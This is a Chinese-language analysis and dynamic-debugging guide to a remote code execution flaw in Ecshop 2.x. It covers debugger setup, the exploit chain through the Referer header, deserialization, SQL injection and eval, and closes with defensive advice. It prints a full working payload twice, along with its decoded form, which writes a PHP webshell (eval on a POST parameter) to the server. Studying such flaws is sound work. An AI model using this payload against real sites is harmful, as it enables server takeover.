Ecshop2.x代码执行漏洞动态调试分析
字数 1627 2025-08-18 11:37:33
Ecshop 2.x 代码执行漏洞分析与调试指南
一、漏洞背景
Ecshop 2.x 版本存在一个严重的远程代码执行漏洞,攻击者可以利用该漏洞直接远程写入webshell,获取服务器控制权限。该漏洞利用链构造精巧,需要对系统有深入了解才能实现。
二、环境搭建
1. 所需工具
- PHPStudy(集成环境)
- PHPStorm(IDE)
- XDebug(PHP调试扩展)
- Chrome浏览器 + JetBrains IDE Support插件
- Burp Suite(用于抓包测试)
2. XDebug配置
修改php.ini文件,添加以下配置:
[XDebug]
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.trace_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
zend_extension = "C:\phpStudy\php53\ext\xdebug.dll"
xdebug.remote_port = 9000
xdebug.idekey = PHPSTROM
3. PHPStorm配置
- 设置PHP版本与本地环境一致
- 配置调试端口为9000
- 设置项目根目录
- 确保Chrome插件已安装并启用
三、漏洞分析
1. 漏洞触发点
漏洞起始于user.php的act=login操作,通过控制HTTP Referer头触发漏洞。
2. 攻击Payload分析
示例Payload:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:
Payload分解:
554fcae493e564ee0dc75bdf2ebf94ca- 哈希值,用于通过系统验证ads- 控制程序流程进入insert_ads函数- 序列化数据部分 - 包含SQL注入和PHP代码执行payload
解码后的核心恶意代码:
{$asd'];assert(base64_decode('file_put_contents('1.php','<?php eval($_POST[1337]xxx
3. 漏洞利用流程
- 通过Referer头注入恶意payload
- 系统验证哈希值
554fcae493e564ee0dc75bdf2ebf94ca - 进入
insert_ads函数处理流程 - 反序列化攻击payload
- 通过SQL注入将恶意代码写入数据库
- 最终通过
eval执行写入webshell的操作
四、动态调试技巧
1. 调试快捷键
- F7 - 进入函数
- F8 - 步过(不进入函数)
- Shift+F8 - 跳出当前函数
- Ctrl+Alt+点击 - 快速进入函数定义
- Alt+F7 - 查找函数/变量引用
2. 关键调试点
- 在
user.php的act=login处设置断点 - 跟踪
$back_act变量的赋值过程 - 观察
insert_mod函数的动态调用过程 - 监控反序列化过程(
unserialize) - 跟踪SQL语句拼接过程
- 观察
eval函数的最终执行
3. 调试中修改变量
在调试过程中可以右键变量选择Set Value来修改值,模拟攻击流程:
ads|a:2:{s:3:\"num\";s:280:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:
五、漏洞原理详解
-
哈希验证绕过:系统会检查特定的哈希值
554fcae493e564ee0dc75bdf2ebf94ca,这是攻击链的第一个关键点。 -
函数流程控制:通过
ads后缀控制程序进入insert_ads函数。 -
反序列化漏洞:攻击者控制的序列化数据被反序列化,注入恶意参数。
-
SQL注入:通过精心构造的SQL语句将PHP代码写入数据库查询结果。
-
代码执行:最终通过
eval函数执行从数据库获取的恶意代码,实现webshell写入。
关键代码处理流程:
preg_replace处理掉{字符- 通过
fetch_str处理payload - 在
select函数中进入get_val substr去掉$符号make_var完成最终拼接eval执行恶意代码
最终执行的payload形式:
$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'))
六、防护建议
- 升级到最新版本的Ecshop
- 对用户输入进行严格过滤,特别是Referer头
- 禁用危险的函数如
eval、assert等 - 对反序列化操作进行严格限制
- 使用预处理语句防止SQL注入
- 对关键操作添加二次验证
七、总结
通过动态调试可以清晰理解:
- 攻击payload在每个环节的处理过程
- 系统如何从正常流程转向恶意代码执行
- 各个函数之间的调用关系和数据处理
- 最终漏洞触发的完整链条
这种分析方法不仅适用于此漏洞,也可以应用于其他复杂漏洞的分析过程,有助于提升漏洞挖掘和利用构造能力。